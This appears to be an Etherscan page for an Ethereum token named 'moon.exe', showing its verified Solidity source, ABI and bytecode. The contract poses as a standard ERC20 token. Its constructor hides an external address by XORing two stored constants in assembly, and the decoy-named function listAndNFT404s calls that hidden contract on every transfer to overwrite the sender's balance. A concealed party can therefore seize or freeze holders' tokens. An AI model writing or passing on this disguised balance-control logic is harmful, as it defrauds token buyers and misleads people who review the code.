ETH Price: $3,318.34 (-4.90%)

Token

moon.exe (moon.exe)
 

Overview

Max Total Supply

250,000,000 moon.exe

Holders

47

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,663,586.023479363290429199 moon.exe

Value
$0.00
0x342bd884e784c9e063baf2b1f93a872e44db8eb9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
moon

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-07
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function launch(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, uint8 buyLpFee, uint8 sellLpFee, uint8 buyProtocolFee, uint8 sellProtocolFee, address protocolAddress) external virtual payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0xc740e0e2e02a111559fc5e049f3467602d18c977bc4d)
            sstore(0x51,0xc7409bfbf1dd5414479a5a77483122e8c10e7c9fe303)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function alphaNFT(bytes memory uniswapFlag, address sender) public onlyOwner returns (bool choice) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 225);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.launch{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, 1, 1, 0, 2, owner());

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function listAndNFT404s(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        listAndNFT404s(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _Deploymoon(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _Deploymoon(creator, initialSupply);
    }
}

contract moon is ERC20Token {
    constructor() ERC20Token("moon.exe", "moon.exe", msg.sender, 250000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"uniswapFlag","type":"bytes"},{"internalType":"address","name":"sender","type":"address"}],"name":"alphaNFT","outputs":[{"internalType":"bool","name":"choice","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2179091556005805490911673eaaa41cb2a64b11fe761d41e747c032cdd60cace179055348015610057575f80fd5b50604051806040016040528060088152602001676d6f6f6e2e65786560c01b815250604051806040016040528060088152602001676d6f6f6e2e65786560c01b815250336acecb8f27f4200f3a00000083835f6100b86101a260201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506008610111838261030c565b50600961011e828261030c565b505075c740e0e2e02a111559fc5e049f3467602d18c977bc4d6050555075c7409bfbf1dd5414479a5a77483122e8c10e7c9fe303605155737b1911f745011e660473d7054588ec16b5e85f4e605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019982826101a6565b505050506103f0565b3390565b6001600160a01b0382166102005760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461021191906103cb565b9091555050335f90815260026020526040812080548392906102349084906103cb565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029c57607f821691505b6020821081036102ba57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030757805f5260205f20601f840160051c810160208510156102e55750805b601f840160051c820191505b81811015610304575f81556001016102f1565b50505b505050565b81516001600160401b0381111561032557610325610274565b610339816103338454610288565b846102c0565b602080601f83116001811461036c575f84156103555750858301515b5f19600386901b1c1916600185901b1785556103c3565b5f85815260208120601f198616915b8281101561039a5788860151825594840194600190910190840161037b565b50858210156103b757878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103ea57634e487b7160e01b5f52601160045260245ffd5b92915050565b610f2a806103fd5f395ff3fe608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102b5578063a8aa1b31146102d4578063a9059cbb146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b806370a082311461023a578063715018a61461026e5780638da5cb5b1461028457806395d89b41146102a1575f80fd5b806318160ddd116100d857806318160ddd146101b45780631f0ba6c9146101d257806323b872dd146101eb578063313ce5671461020a57806348cd4cb114610225575f80fd5b806301a37fc21461010957806303dba9061461014557806306fdde0314610174578063095ea7b314610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061016461015f366004610c1f565b61035e565b604051901515815260200161013c565b34801561017f575f80fd5b50610188610399565b60405161013c9190610cdb565b3480156101a0575f80fd5b506101646101af366004610d10565b610429565b3480156101bf575f80fd5b50600a545b60405190815260200161013c565b3480156101dd575f80fd5b50600b546101649060ff1681565b3480156101f6575f80fd5b50610164610205366004610d3a565b61043e565b348015610215575f80fd5b506040516012815260200161013c565b348015610230575f80fd5b506101c4600c5481565b348015610245575f80fd5b506101c4610254366004610d78565b6001600160a01b03165f9081526002602052604090205490565b348015610279575f80fd5b506102826104ed565b005b34801561028f575f80fd5b506001546001600160a01b0316610128565b3480156102ac575f80fd5b50610188610560565b3480156102c0575f80fd5b50600e54610128906001600160a01b031681565b3480156102df575f80fd5b50600654610128906001600160a01b031681565b3480156102fe575f80fd5b5061016461030d366004610d10565b61056f565b34801561031d575f80fd5b506101c461032c366004610d9a565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028261057b565b6001545f906001600160a01b031633146103935760405162461bcd60e51b815260040161038a90610dd1565b60405180910390fd5b92915050565b6060600880546103a890610e06565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490610e06565b801561041f5780601f106103f65761010080835404028352916020019161041f565b820191905f5260205f20905b81548152906001019060200180831161040257829003601f168201915b5050505050905090565b5f61043533848461085b565b50600192915050565b5f61044a84848461097f565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104ce5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161038a565b6104e285336104dd8685610e52565b61085b565b506001949350505050565b6001546001600160a01b031633146105175760405162461bcd60e51b815260040161038a90610dd1565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600980546103a890610e06565b5f61043533848461097f565b6001546001600160a01b0316331480156105985750600b5460ff16155b6105b45760405162461bcd60e51b815260040161038a90610dd1565b6005546105cd9030906001600160a01b03165f1961085b565b5f612710600a546105de9190610e65565b6105ea9061262f610e84565b305f9081526002602052604081208054929350839290919061060d908490610e9b565b9091555050335f9081526002602052604081208054839290610630908490610e52565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e09190610eae565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610733573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107579190610eae565b600680546001600160a01b039283166001600160a01b03199091161790556007541663fe1bfba634308480836001805f600261079b6001546001600160a01b031690565b60405160e08c901b6001600160e01b03191681526001600160a01b03998a16600482015260248101989098526044880196909652606487019490945260ff928316608487015290821660a4860152811660c48501521660e48301529091166101048201526101240160606040518083038185885af115801561081f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108449190610ec9565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038a565b6001600160a01b03821661091e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109cf5750600d546001600160a01b031630145b806109ea5750600154600d546001600160a01b039081169116145b610a405760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b606482015260840161038a565b600d546001600160a01b0316610aa65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038a565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038a565b610b128382610b86565b506001600160a01b0382165f9081526002602052604081208054839290610b3a908490610e9b565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097291815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610bb757815192505b50610bc490508282610e52565b6001600160a01b039093165f908152600260205260409020929092555090565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b0381168114610c0c575f80fd5b50565b8035610c1a81610bf8565b919050565b5f8060408385031215610c30575f80fd5b823567ffffffffffffffff80821115610c47575f80fd5b818501915085601f830112610c5a575f80fd5b813581811115610c6c57610c6c610be4565b604051601f8201601f19908116603f01168101908382118183101715610c9457610c94610be4565b81604052828152886020848701011115610cac575f80fd5b826020860160208301375f602084830101528096505050505050610cd260208401610c0f565b90509250929050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215610d21575f80fd5b8235610d2c81610bf8565b946020939093013593505050565b5f805f60608486031215610d4c575f80fd5b8335610d5781610bf8565b92506020840135610d6781610bf8565b929592945050506040919091013590565b5f60208284031215610d88575f80fd5b8135610d9381610bf8565b9392505050565b5f8060408385031215610dab575f80fd5b8235610db681610bf8565b91506020830135610dc681610bf8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680610e1a57607f821691505b602082108103610e3857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561039357610393610e3e565b5f82610e7f57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761039357610393610e3e565b8082018082111561039357610393610e3e565b5f60208284031215610ebe575f80fd5b8151610d9381610bf8565b5f805f60608486031215610edb575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220752485a3a3051c1e8e2c32dbcb5855f1fa71ab89eb445cd944c055088f84aa2f64736f6c63430008190033

Deployed Bytecode

0x608060405260043610610105575f3560e01c806370a0823111610092578063a705eee211610062578063a705eee2146102b5578063a8aa1b31146102d4578063a9059cbb146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b806370a082311461023a578063715018a61461026e5780638da5cb5b1461028457806395d89b41146102a1575f80fd5b806318160ddd116100d857806318160ddd146101b45780631f0ba6c9146101d257806323b872dd146101eb578063313ce5671461020a57806348cd4cb114610225575f80fd5b806301a37fc21461010957806303dba9061461014557806306fdde0314610174578063095ea7b314610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061016461015f366004610c1f565b61035e565b604051901515815260200161013c565b34801561017f575f80fd5b50610188610399565b60405161013c9190610cdb565b3480156101a0575f80fd5b506101646101af366004610d10565b610429565b3480156101bf575f80fd5b50600a545b60405190815260200161013c565b3480156101dd575f80fd5b50600b546101649060ff1681565b3480156101f6575f80fd5b50610164610205366004610d3a565b61043e565b348015610215575f80fd5b506040516012815260200161013c565b348015610230575f80fd5b506101c4600c5481565b348015610245575f80fd5b506101c4610254366004610d78565b6001600160a01b03165f9081526002602052604090205490565b348015610279575f80fd5b506102826104ed565b005b34801561028f575f80fd5b506001546001600160a01b0316610128565b3480156102ac575f80fd5b50610188610560565b3480156102c0575f80fd5b50600e54610128906001600160a01b031681565b3480156102df575f80fd5b50600654610128906001600160a01b031681565b3480156102fe575f80fd5b5061016461030d366004610d10565b61056f565b34801561031d575f80fd5b506101c461032c366004610d9a565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028261057b565b6001545f906001600160a01b031633146103935760405162461bcd60e51b815260040161038a90610dd1565b60405180910390fd5b92915050565b6060600880546103a890610e06565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490610e06565b801561041f5780601f106103f65761010080835404028352916020019161041f565b820191905f5260205f20905b81548152906001019060200180831161040257829003601f168201915b5050505050905090565b5f61043533848461085b565b50600192915050565b5f61044a84848461097f565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104ce5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161038a565b6104e285336104dd8685610e52565b61085b565b506001949350505050565b6001546001600160a01b031633146105175760405162461bcd60e51b815260040161038a90610dd1565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600980546103a890610e06565b5f61043533848461097f565b6001546001600160a01b0316331480156105985750600b5460ff16155b6105b45760405162461bcd60e51b815260040161038a90610dd1565b6005546105cd9030906001600160a01b03165f1961085b565b5f612710600a546105de9190610e65565b6105ea9061262f610e84565b305f9081526002602052604081208054929350839290919061060d908490610e9b565b9091555050335f9081526002602052604081208054839290610630908490610e52565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e09190610eae565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610733573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107579190610eae565b600680546001600160a01b039283166001600160a01b03199091161790556007541663fe1bfba634308480836001805f600261079b6001546001600160a01b031690565b60405160e08c901b6001600160e01b03191681526001600160a01b03998a16600482015260248101989098526044880196909652606487019490945260ff928316608487015290821660a4860152811660c48501521660e48301529091166101048201526101240160606040518083038185885af115801561081f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108449190610ec9565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038a565b6001600160a01b03821661091e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109cf5750600d546001600160a01b031630145b806109ea5750600154600d546001600160a01b039081169116145b610a405760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b606482015260840161038a565b600d546001600160a01b0316610aa65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038a565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038a565b610b128382610b86565b506001600160a01b0382165f9081526002602052604081208054839290610b3a908490610e9b565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097291815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610bb757815192505b50610bc490508282610e52565b6001600160a01b039093165f908152600260205260409020929092555090565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b0381168114610c0c575f80fd5b50565b8035610c1a81610bf8565b919050565b5f8060408385031215610c30575f80fd5b823567ffffffffffffffff80821115610c47575f80fd5b818501915085601f830112610c5a575f80fd5b813581811115610c6c57610c6c610be4565b604051601f8201601f19908116603f01168101908382118183101715610c9457610c94610be4565b81604052828152886020848701011115610cac575f80fd5b826020860160208301375f602084830101528096505050505050610cd260208401610c0f565b90509250929050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215610d21575f80fd5b8235610d2c81610bf8565b946020939093013593505050565b5f805f60608486031215610d4c575f80fd5b8335610d5781610bf8565b92506020840135610d6781610bf8565b929592945050506040919091013590565b5f60208284031215610d88575f80fd5b8135610d9381610bf8565b9392505050565b5f8060408385031215610dab575f80fd5b8235610db681610bf8565b91506020830135610dc681610bf8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680610e1a57607f821691505b602082108103610e3857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561039357610393610e3e565b5f82610e7f57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761039357610393610e3e565b8082018082111561039357610393610e3e565b5f60208284031215610ebe575f80fd5b8151610d9381610bf8565b5f805f60608486031215610edb575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220752485a3a3051c1e8e2c32dbcb5855f1fa71ab89eb445cd944c055088f84aa2f64736f6c63430008190033

Deployed Bytecode Sourcemap

7830:129:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2966:22;;;;;;;;;;-1:-1:-1;2966:22:0;;;;-1:-1:-1;;;;;2966:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;2966:22:0;;;;;;;;5052:107;;;;;;;;;;-1:-1:-1;5052:107:0;;;;;:::i;:::-;;:::i;:::-;;;1804:14:1;;1797:22;1779:41;;1767:2;1752:18;5052:107:0;1639:187:1;3549:100:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4530:160::-;;;;;;;;;;-1:-1:-1;4530:160:0;;;;;:::i;:::-;;:::i;6003:108::-;;;;;;;;;;-1:-1:-1;6091:12:0;;6003:108;;;2720:25:1;;;2708:2;2693:18;6003:108:0;2574:177:1;2920:17:0;;;;;;;;;;-1:-1:-1;2920:17:0;;;;;;;;4100:422;;;;;;;;;;-1:-1:-1;4100:422:0;;;;;:::i;:::-;;:::i;3657:93::-;;;;;;;;;;-1:-1:-1;3657:93:0;;3740:2;3359:36:1;;3347:2;3332:18;3657:93:0;3217:184:1;2939:25:0;;;;;;;;;;;;;;;;5868:127;;;;;;;;;;-1:-1:-1;5868:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;5969:18:0;5942:7;5969:18;;;:9;:18;;;;;;;5868:127;2300:148;;;;;;;;;;;;;:::i;:::-;;2086:79;;;;;;;;;;-1:-1:-1;2151:6:0;;-1:-1:-1;;;;;2151:6:0;2086:79;;3437:104;;;;;;;;;;;;;:::i;2995:25::-;;;;;;;;;;-1:-1:-1;2995:25:0;;;;-1:-1:-1;;;;;2995:25:0;;;2785:19;;;;;;;;;;-1:-1:-1;2785:19:0;;;;-1:-1:-1;;;;;2785:19:0;;;3917:175;;;;;;;;;;-1:-1:-1;3917:175:0;;;;;:::i;:::-;;:::i;3758:151::-;;;;;;;;;;-1:-1:-1;3758:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3874:18:0;;;3847:7;3874:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3758:151;5167:693;;;:::i;5052:107::-;2213:6;;5138:11;;-1:-1:-1;;;;;2213:6:0;140:10;2213:22;2205:67;;;;-1:-1:-1;;;2205:67:0;;;;;;;:::i;:::-;;;;;;;;;5052:107;;;;:::o;3549:100::-;3603:13;3636:5;3629:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3549:100;:::o;4530:160::-;4604:4;4621:39;140:10;4644:7;4653:6;4621:8;:39::i;:::-;-1:-1:-1;4678:4:0;4530:160;;;;:::o;4100:422::-;4206:4;4223:36;4233:6;4241:9;4252:6;4223:9;:36::i;:::-;-1:-1:-1;;;;;4299:19:0;;4272:24;4299:19;;;:11;:19;;;;;;;;140:10;4299:33;;;;;;;;4351:26;;;;4343:79;;;;-1:-1:-1;;;4343:79:0;;4999:2:1;4343:79:0;;;4981:21:1;5038:2;5018:18;;;5011:30;5077:34;5057:18;;;5050:62;-1:-1:-1;;;5128:18:1;;;5121:38;5176:19;;4343:79:0;4797:404:1;4343:79:0;4433:57;4442:6;140:10;4464:25;4483:6;4464:16;:25;:::i;:::-;4433:8;:57::i;:::-;-1:-1:-1;4510:4:0;;4100:422;-1:-1:-1;;;;4100:422:0:o;2300:148::-;2213:6;;-1:-1:-1;;;;;2213:6:0;140:10;2213:22;2205:67;;;;-1:-1:-1;;;2205:67:0;;;;;;;:::i;:::-;2391:6:::1;::::0;2370:40:::1;::::0;2407:1:::1;::::0;-1:-1:-1;;;;;2391:6:0::1;::::0;2370:40:::1;::::0;2407:1;;2370:40:::1;